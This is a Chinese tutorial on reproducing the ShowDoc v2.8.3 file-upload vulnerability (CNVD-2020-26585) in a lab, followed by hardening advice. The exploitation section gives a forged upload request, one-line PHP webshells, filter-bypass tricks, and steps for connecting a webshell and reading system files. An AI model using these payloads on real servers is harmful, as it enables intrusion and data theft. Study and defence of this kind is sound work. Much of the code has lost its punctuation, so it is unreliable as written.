1. 项目概述一次典型的企业文档系统漏洞复现之旅最近在整理内部安全知识库发现不少团队还在使用老版本的ShowDoc作为内部文档管理工具。ShowDoc确实是个好东西界面清爽、部署简单但老版本的安全问题往往被忽视。今天我就带大家完整走一遍CNVD-2020-26585这个文件上传漏洞的复现过程这不仅仅是为了“炫技”更重要的是理解这类漏洞的成因、利用方式以及如何在企业环境中搭建安全的测试环境来验证修复效果。很多刚入行的安全工程师可能只在理论上看过漏洞描述真正动手搭建靶场、构造利用链的时候还是会遇到各种坑。这次我们就从零开始手把手搭建一个可复现的漏洞环境把每个步骤背后的原理和注意事项都讲透。这个漏洞影响的是ShowDoc v2.8.3及之前的版本核心问题出在一个未做充分过滤的文件上传接口上。攻击者可以绕过限制上传恶意脚本文件进而获取服务器控制权。对于企业来说这意味着内部所有的技术文档、API文档甚至敏感数据都可能面临风险。我们复现它是为了更好地防御它。整个流程我会拆解为环境搭建、漏洞分析、利用链构造、防御加固四个核心部分确保即使你是第一次接触漏洞复现也能跟着做下来。2. 靶场环境搭建精准还原漏洞场景2.1 环境准备与版本锁定复现漏洞的第一步也是最重要的一步就是搭建一个与漏洞描述完全一致的环境。版本不对一切白搭。CNVD-2020-26585影响的是v2.8.3及之前版本这里我们选择v2.8.3这个明确受影响的版本进行复现。为什么选择v2.8.3在漏洞复现中选择有明确版本号的漏洞实例是最稳妥的。v2.8.3是公开漏洞信息中明确指出的受影响版本其代码与漏洞描述匹配度高复现成功率也最高。盲目使用“旧版本”或“最新版”都可能因为代码差异导致复现失败。基础环境配置我推荐使用Docker来搭建这是目前最干净、最可复现的方式。如果你对Docker不熟用一台纯净的Linux虚拟机如Ubuntu 20.04也可以。操作系统Ubuntu 20.04 LTS 或 CentOS 7。避免使用太新的系统以免某些老依赖不兼容。Web服务Apache 2.4 或 Nginx 1.18。ShowDoc是PHP应用两者皆可本文以Apache为例。运行环境PHP 7.2 - 7.4。PHP 8.x版本语法和部分函数有变化可能导致老版本ShowDoc运行异常。数据库MySQL 5.7 或 MariaDB 10.3。注意务必关闭服务器的SELinuxCentOS或AppArmorUbuntu的严格模式否则在文件上传和执行阶段可能会遇到权限拦截。可以临时设置为permissive模式sudo setenforce 0(CentOS) 或sudo aa-complain /usr/sbin/apache2(Ubuntu)。2.2 手动部署ShowDoc v2.8.3虽然Docker一键部署更方便但手动部署能让你更清楚地看到整个应用的目录结构和依赖。我们从官方仓库拉取指定版本的代码。# 1. 安装基础依赖 sudo apt-get update sudo apt-get install -y apache2 mysql-server php php-mysql php-mbstring php-xml php-gd libapache2-mod-php unzip wget # 2. 下载ShowDoc v2.8.3 # 官方GitHub仓库的Release页面通常有历史版本这里我们直接下载源码包 wget https://github.com/star7th/showdoc/archive/refs/tags/v2.8.3.zip unzip v2.8.3.zip sudo mv showdoc-2.8.3 /var/www/html/showdoc # 3. 配置Apache虚拟主机 sudo vim /etc/apache2/sites-available/showdoc.conf将以下配置写入虚拟主机文件VirtualHost *:80 ServerName showdoc.local DocumentRoot /var/www/html/showdoc/Public Directory /var/www/html/showdoc/Public Options Indexes FollowSymLinks AllowOverride All Require all granted /Directory ErrorLog ${APACHE_LOG_DIR}/showdoc_error.log CustomLog ${APACHE_LOG_DIR}/showdoc_access.log combined /VirtualHost启用配置并重载Apachesudo a2ensite showdoc.conf sudo a2enmod rewrite sudo systemctl reload apache2数据库初始化# 登录MySQL创建数据库和用户 mysql -u root -p在MySQL命令行中执行CREATE DATABASE showdoc CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER showdoc_userlocalhost IDENTIFIED BY YourStrongPassword123!; GRANT ALL PRIVILEGES ON showdoc.* TO showdoc_userlocalhost; FLUSH PRIVILEGES; EXIT;然后通过浏览器访问http://your_server_ip/install或你配置的域名按照网页安装向导填写数据库连接信息完成ShowDoc的安装。实操心得安装过程中最常见的两个坑。一是文件权限问题确保/var/www/html/showdoc目录及其子目录对Apache进程用户通常是www-data有读写权限可以执行sudo chown -R www-data:www-data /var/www/html/showdoc。二是rewrite模块未开启导致除首页外所有页面404务必检查sudo a2enmod rewrite是否执行成功并确认.htaccess文件已存在。2.3 使用Docker-Compose快速搭建推荐对于快速复现和多次销毁重建Docker-Compose是更优雅的选择。我们编写一个docker-compose.yml文件来定义服务。version: 3 services: showdoc: image: star7th/showdoc:2.8.3 container_name: vulnerable_showdoc ports: - 8080:80 volumes: - ./showdoc_data/html:/var/www/html/ - ./showdoc_data/upload:/var/www/html/Public/Uploads/ environment: - MYSQL_HOSTshowdoc_db - MYSQL_PORT3306 - MYSQL_USERshowdoc - MYSQL_PASSWORDshowdoc123456 - MYSQL_DATABASEshowdoc depends_on: - db networks: - showdoc_net db: image: mysql:5.7 container_name: showdoc_db restart: always environment: MYSQL_ROOT_PASSWORD: root123456 MYSQL_DATABASE: showdoc MYSQL_USER: showdoc MYSQL_PASSWORD: showdoc123456 volumes: - ./mysql_data:/var/lib/mysql networks: - showdoc_net networks: showdoc_net: driver: bridge在终端中进入该文件所在目录执行docker-compose up -d。稍等片刻访问http://localhost:8080即可进入安装页面。Docker方式自动处理了大部分环境依赖和配置非常适合新手。注意事项使用Docker时上传的恶意文件会存储在宿主机的./showdoc_data/upload目录下。在后续漏洞利用时你需要知道这个路径映射关系。另外容器的网络是隔离的如果你要从宿主机以外的机器访问需要确保防火墙开放了8080端口。3. 漏洞原理深度剖析代码层透视3.1 漏洞入口点定位ShowDoc的文件上传功能主要用户上传图片附件到文档中。漏洞文件位于/Application/Home/Controller/PageController.class.php中的uploadImg方法。我们来看一下关键代码基于v2.8.3源码public function uploadImg(){ $upload new \Think\Upload();// 实例化上传类 $upload-maxSize 3145728 ;// 设置附件上传大小 $upload-exts array(jpg, gif, png, jpeg);// 设置附件上传类型 $upload-rootPath ./Public/Uploads/; // 设置附件上传根目录 $upload-savePath ; // 设置附件上传子目录 $info $upload-upload(); if(!$info) {// 上传错误提示错误信息 $this-error($upload-getError()); }else{// 上传成功 foreach($info as $file){ echo $file[savepath].$file[savename]; } } }从表面看代码使用了ThinkPHP框架的Upload类并通过$upload-exts限制了只能上传jpg, gif, png, jpeg四种图片格式。问题在于这个限制是否被严格执行攻击者能否绕过3.2 绕过机制与根本原因ThinkPHP 3.2的Upload类对文件类型的检查默认依赖于文件的MIME类型和文件扩展名。但这里存在两个常见的绕过点扩展名黑名单绕过代码只检查了扩展名是否在允许的列表里。如果攻击者上传一个名为shell.php.jpg的文件在某些服务器的配置下可能会因为解析顺序问题最终以.php执行。但更常见的是利用解析漏洞。例如如果服务器配置不当如Apache的mod_php未正确处理shell.php.jpg可能被直接当作PHP文件执行。不过ShowDoc这个漏洞的利用点不主要依赖这个。MIME类型伪造这是该漏洞更直接的利用方式。Upload类检查MIME类型时其信息来源是HTTP请求头中的Content-Type。这个信息是客户端浏览器或攻击者工具可以完全控制的。攻击者可以上传一个.php文件但在HTTP请求中将Content-Type设置为image/jpeg从而绕过服务端的MIME类型检查。更深层的原因在于uploadImg方法本身没有对上传后的文件进行二次重命名或内容检查。上传的文件保持了原始文件名或仅按时间戳重命名但扩展名不变。一旦文件被成功上传到./Public/Uploads/目录并且该目录具有执行脚本的权限通常Web根目录下的子目录默认继承此权限那么一个.php文件就可以通过Web直接访问并执行。例如上传文件后回显的路径可能是202304/xxxxxxxxxx.php。攻击者直接访问http://target.com/Public/Uploads/202304/xxxxxxxxxx.php恶意代码就会在服务器端执行。核心要点这个漏洞是“客户端检查可被绕过”和“服务端未做最终安全处理”共同导致的。它提醒我们文件上传功能必须进行“防御纵深”设计前端验证用户体验、服务端MIME/扩展名检查第一道防线、文件内容头检查第二道防线、随机化重命名并隐藏存储路径第三道防线、设置上传目录无执行权限最后一道防线。4. 漏洞利用实战手把手构造攻击链4.1 信息收集与目标确认在开始攻击前我们需要确认目标。访问ShowDoc首页通常在页脚可以找到版本信息。对于v2.8.3我们也可以尝试访问/index.php?mhomecindexaabout这类可能泄露版本信息的路径。更关键的是找到上传点。ShowDoc的上传点通常在编辑文档时点击图片图标触发。其对应的API接口地址一般是/index.php?s/home/page/uploadImg。我们可以直接使用工具对这个接口进行测试。4.2 利用Burp Suite构造恶意请求我们将使用Burp Suite作为主要攻击工具。首先配置浏览器代理然后正常访问ShowDoc进入任意文档的编辑页面。拦截正常请求点击图片上传按钮选择一个正常的图片文件如test.jpg在Burp Suite的Proxy - Intercept中拦截这个HTTP POST请求。分析请求结构你会看到一个类似如下的请求POST /index.php?s/home/page/uploadImg HTTP/1.1 Host: your-target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ...其他头部... ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameeditormd-image-file; filenametest.jpg Content-Type: image/jpeg [图片的二进制数据] ------WebKitFormBoundaryABC123--构造恶意请求将拦截到的请求发送到Burp Suite的Repeater模块。现在开始修改将filename参数的值从test.jpg改为shell.php。确保Content-Type头部仍然保持为image/jpeg或image/png。这是绕过MIME检查的关键。将文件内容二进制数据部分替换为我们的PHP Webshell代码。一个最简单的示例是?php eval($_POST[cmd]);?这个一句话木马允许攻击者通过POST参数cmd执行任意PHP代码。发送请求并获取路径在Repeater中发送修改后的请求。如果漏洞存在服务器会返回一个成功的响应内容就是上传文件的访问路径例如/Public/Uploads/2023-04-15/643a1b2c3d4e5.php。4.3 连接Webshell与权限提升验证Webshell在浏览器或使用curl访问上一步获取到的完整URLhttp://your-target.com/Public/Uploads/2023-04-15/643a1b2c3d4e5.php。如果页面空白或没有报错通常意味着文件已存在并可访问。使用蚁剑/菜刀连接打开中国蚁剑(AntSword)或中国菜刀这类Webshell管理工具。添加一个新的Shell。URL地址填写完整的Webshell地址。连接密码填写我们写在PHP代码中的cmd对应$_POST[cmd]。编码器选择defaultbase64。点击添加如果一切正常你将成功连接到服务器可以浏览目录、查看文件、执行命令。权限维持与探索获得初始立足点后安全测试人员通常会进行以下操作仅限于授权测试环境whoami查看当前Web服务运行的用户权限。pwd查看当前所在目录。ls -la /查看服务器根目录结构。尝试读取/etc/passwd、Web应用配置文件如数据库连接信息/var/www/html/showdoc/Sqlite/showdoc.db.php或Application/Common/Conf/config.php。如果权限足够低可能需要尝试提权。但在Docker环境中我们可能已经是root。实战技巧如果直接上传.php文件被拦截可以尝试双扩展名shell.php.jpg、在扩展名后加空格或点shell.php.、使用大小写shell.PHp或者利用Windows特性shell.php::$DATA针对Windows服务器。对于ShowDoc这个特定漏洞直接改Content-Type为图片类型通常就足够了。另外Webshell的内容可以稍作混淆比如用?php system($_GET[‘c’]);?或者使用更隐蔽的编码Webshell以绕过一些简单的WAF或内容检查。5. 漏洞修复与安全加固方案5.1 官方修复方案与升级对于ShowDoc最根本的解决方案是立即升级到最新版本。官方在后续版本中修复了此漏洞。升级步骤通常包括备份数据库、下载新版程序、覆盖文件、运行升级脚本。务必遵循官方发布的升级指南。查看官方修复的代码差异是学习安全编码的好方法。你可以对比v2.8.3和v2.9.0的PageController.class.php文件。修复可能包括引入了更严格的文件类型检查例如检查文件二进制内容的头信息getimagesize函数。对上传后的文件进行了强制重命名只保留时间戳哈希值并去掉原始扩展名或者统一改为.jpg等安全后缀。将上传目录移动到Web根目录之外或通过配置禁止该目录的脚本执行权限。5.2 临时缓解措施与安全配置如果因为某些原因无法立即升级可以采取以下临时加固措施修改Nginx/Apache配置禁止上传目录执行脚本Nginx在对应站点的server配置中为上传目录添加location规则。location ~ ^/Public/Uploads/.*\.(php|php5|jsp|asp|aspx)$ { deny all; }Apache在/Public/Uploads/目录下的.htaccess文件中添加FilesMatch \.(php|php5|jsp|asp|aspx)$ Order Deny,Allow Deny from all /FilesMatch或者在Apache主配置或虚拟主机配置中针对该目录设置Directory /var/www/html/showdoc/Public/Uploads php_flag engine off # 或者对于Apache 2.4 FilesMatch \.php$ Require all denied /FilesMatch /Directory修改应用程序代码临时补丁 在uploadImg方法中在调用$upload-upload()之后对上传成功的文件进行二次验证。例如增加以下代码// ... 原有上传代码 ... $info $upload-upload(); if(!$info) { $this-error($upload-getError()); } else { // 新增二次检查文件真实类型 foreach($info as $file){ $filepath $upload-rootPath . $file[savepath] . $file[savename]; if(!$this-isRealImage($filepath)) { unlink($filepath); // 删除可疑文件 $this-error(文件类型不合法); } echo $file[savepath].$file[savename]; } } // 新增一个方法检查是否为真实图片 private function isRealImage($filepath) { $imageInfo getimagesize($filepath); return !empty($imageInfo) in_array($imageInfo[2], [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF]); }警告临时修改代码需谨慎务必在测试环境验证无误后再应用到生产环境并做好备份。最小化权限原则确保运行Web服务的用户如www-data对上传目录只有写入权限对Web根目录的其他关键配置文件如config.php只有读取权限。定期检查服务器上是否有异常文件。5.3 企业级文件上传安全规范从这次漏洞复现中我们可以总结出一套企业级文件上传的安全规范白名单验证使用文件扩展名白名单只允许明确安全的类型如.jpg, .png, .pdf。永远不要使用黑名单。内容检查检查文件的Magic Number文件头字节这是判断文件真实类型最可靠的方式之一。例如JPEG文件头总是FF D8 FF E0。随机化与隐藏对上传文件进行重命名使用随机字符串如UUID作为文件名避免使用用户输入的任何部分。不要将文件存储在可直接通过URL访问的路径下。隔离执行权限将上传文件存储在Web根目录之外通过一个专门的脚本如download.php?idxxx来读取和传递文件。如果必须放在Web目录下务必通过服务器配置禁止该目录执行任何脚本。限制文件大小在服务端严格限制上传文件的大小防止DoS攻击。病毒扫描对于允许上传文档如PDF, DOC的系统应考虑集成病毒扫描功能。日志与监控详细记录所有文件上传操作IP、时间、文件名、文件哈希、用户ID并设置异常上传如频率过高、文件类型异常的告警机制。6. 靶场搭建与漏洞复现的常见问题在搭建环境和复现漏洞的过程中你几乎一定会遇到下面这些问题。这里我把踩过的坑和解决方案整理出来。问题现象可能原因排查步骤与解决方案访问ShowDoc首页显示“No input file specified”或空白页PHP配置或路由问题1. 检查Apache的mod_rewrite是否启用 (a2enmod rewrite)。2. 检查项目根目录下的.htaccess文件是否存在且内容正确。3. 检查Apache配置中AllowOverride是否设置为All。安装页面无法连接数据库数据库配置错误或权限不足1. 确认数据库服务正在运行 (systemctl status mysql)。2. 检查数据库用户名、密码、主机名Docker环境下需用容器名如db是否正确。3. 登录MySQL确认创建的数据库和用户存在且用户有远程或本地登录权限 (GRANT ...)。上传接口返回“文件类型不允许”漏洞复现失败检查可能不严格1.确认ShowDoc版本是否为v2.8.3或更低这是前提。2. 检查Burp Suite中修改的请求确保filename为.php但对应的Content-Type头部是image/jpeg。3. 检查是否安装了第三方安全软件或WAF拦截了请求。上传成功但访问Webshell返回404文件未成功上传或路径错误1. 检查服务器上传目录 (/Public/Uploads/) 的权限确保Web用户有写权限。2. 检查上传接口返回的路径是否正确拼接。有时返回的是相对路径需要加上网站根目录。3. 直接登录服务器到上传目录查看文件是否真实存在。访问Webshell返回空白或代码被显示PHP未解析1. 确认文件后缀是.php。2. 确认服务器安装了PHP模块并已正确关联到Apache/Nginx。3. 检查上传目录的服务器配置是否禁止了PHP执行这是我们加固的手段复现时需要确保它是可执行的。Docker环境内部无法连接数据库Docker网络问题或服务启动顺序1. 使用docker-compose logs db查看数据库容器日志确认初始化完成。2. 在ShowDoc容器内使用ping db测试网络连通性。3. 确保docker-compose.yml中正确配置了depends_on和共享网络。蚁剑连接Webshell失败Webshell代码、密码或编码器不匹配1. 在浏览器中直接访问Webshell地址如果显示代码说明PHP未执行如果空白可能执行成功。2. 尝试使用最简单的Webshell?php echo “test”;?看是否能输出“test”。3. 检查蚁剑连接配置URL、密码、编码器必须与上传的文件内容完全匹配。POST Webshell对应eval($_POST[‘cmd’])密码就是cmd。独家避坑技巧环境隔离永远在虚拟机或Docker中复现漏洞不要用你的个人开发机或公司网络直接测试。使用VirtualBox Vagrant 或 VMware快速搭建一个干净的Linux环境是最佳实践。快照功能在安装好基础环境OS, PHP, MySQL后以及成功部署ShowDoc后分别创建虚拟机快照。这样一旦实验过程搞乱了可以瞬间回滚节省大量重装时间。思维转变复现漏洞时你的角色是“攻击者”。要仔细阅读漏洞描述思考攻击者的每一步意图。例如这个漏洞的关键是“绕过文件类型检查”那么你的所有操作都应围绕“如何欺骗服务器的检查机制”展开。工具链准备除了Burp Suite准备好curl、nc(netcat)、文本编辑器VSCode/Notepad。curl常用于快速测试接口nc可用于调试网络或构造原始HTTP请求。将常用的Payload如各种Webshell代码保存成文本文件方便随时复制。7. 从复现到精通构建个人漏洞研究体系一次成功的漏洞复现只是起点。要想真正掌握Web安全你需要将这个过程系统化、理论化。第一步建立漏洞分析清单每次复现一个漏洞都尝试回答以下问题漏洞类型属于OWASP Top 10中的哪一类如A1-注入A2-失效的身份认证A5-安全配置错误A8-软件和数据完整性故障【对应文件上传】。触发条件需要什么样的用户交互需要什么权限如需要登录需要编辑权限。影响范围能读取数据执行命令获取服务器权限CVSS评分是多少。根本原因是输入验证缺失逻辑错误依赖组件漏洞利用链从入口点到最终达成攻击目标中间经历了哪些步骤例如上传点 - 绕过检查 - 写入文件 - 访问文件 - 执行代码。修复方案官方怎么修的除了升级还有什么临时缓解措施第二步搭建个人靶场矩阵不要只搭建一个ShowDoc。尝试搭建一个包含多种漏洞类型的靶场环境例如综合靶场DVWA (Damn Vulnerable Web Application)、WebGoat、bWAPP。专项靶场Upload-labs专注文件上传、SQLi-labs专注SQL注入、XSS-labs。真实应用漏洞环境Vulhub、VulnApp 这类项目提供了大量带有已知漏洞的真实应用如ThinkPHP, Struts2, Weblogic的Docker环境是绝佳的练习场。第三步尝试代码审计在复现了已知漏洞后可以尝试进行简单的代码审计。下载ShowDoc v2.8.3的源码全局搜索upload、Upload、file等关键词看看除了我们利用的uploadImg方法还有没有其他可能存在问题的文件操作函数如file_put_contents、move_uploaded_file、copy等。尝试理解整个上传逻辑的代码流这能极大地提升你发现“未知”漏洞的能力。第四步编写漏洞复现报告将你的复现过程、截图、思考整理成一份标准的漏洞报告或技术文章。这不仅是为了分享更是为了梳理自己的思路。报告应包括漏洞概述、影响版本、环境搭建步骤、漏洞原理分析、详细复现过程含截图、修复建议、参考文献。这个过程能让你对漏洞的理解再上一个台阶。最后记住安全研究的初衷是“以攻促防”。我们复现漏洞是为了理解攻击者的思维和方法从而在设计、开发、运维中构建更坚固的防御体系。始终保持对技术的敬畏和对法律的遵守只在授权范围内进行所有测试活动。